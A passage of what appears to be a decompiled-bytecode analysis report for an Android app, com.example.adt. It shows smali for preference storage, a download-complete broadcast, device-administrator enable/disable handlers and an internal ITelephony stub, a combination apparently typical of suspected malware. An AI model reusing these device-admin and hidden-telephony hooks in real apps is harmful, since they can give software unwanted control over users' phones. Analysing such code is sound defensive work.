16 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
17 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v1, 0x0 | |
2 | try_start_1: sput v1, Lcom/example/adt/Config;->isAlert:I | |
3 | new-instance v0, Landroid/content/Intent; | |
5 | invoke-direct {v0}, Landroid/content/Intent;-><init>()V | |
7 | const-string v1, "app.dwonload.complate" | |
9 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
11 | sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
13 | invoke-virtual {v1, v0}, Lcom/example/adt/CoreService;->sendBroadcast(Landroid/content/Intent;)V | |
14 | try_end_12: return-void | |
15 | catch_13: move-exception v1 | |
16 | goto/16 :goto_12 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "c" | |
1 | .parameter "key" | |
2 | .parameter "def" | |
3 | .prologue | |
5 | const-string v1, "config" | |
6 | const/4 v2, 0x0 | |
8 | invoke-virtual {p0, v1, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
9 | move-result-object v0 | |
11 | invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I | |
12 | move-result v1 | |
13 | return v1 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .parameter "intent" | |
2 | .prologue | |
4 | sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
6 | const-string v1, "\u53d6\u6d88\u6fc0\u6d3b" | |
8 | invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
10 | invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onDisabled(Landroid/content/Context;Landroid/content/Intent;)V | |
11 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .parameter "intent" | |
2 | .prologue | |
4 | sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
6 | const-string v1, "\u6fc0\u6d3b\u4f7f\u7528" | |
8 | invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
10 | invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V | |
11 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .parameter "intent" | |
2 | .prologue | |
4 | invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V | |
6 | sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
8 | const-string v1, "onreceiver" | |
10 | invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
11 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Landroid/os/Binder;-><init>()V | |
4 | const-string v0, "com.android.internal.telephony.ITelephony" | |
6 | invoke-virtual {p0, p0, v0}, Lcom/android/internal/telephony/ITelephony$Stub;->attachInterface(Landroid/os/IInterface;Ljava/lang/String;)V |
|
7 | return-void |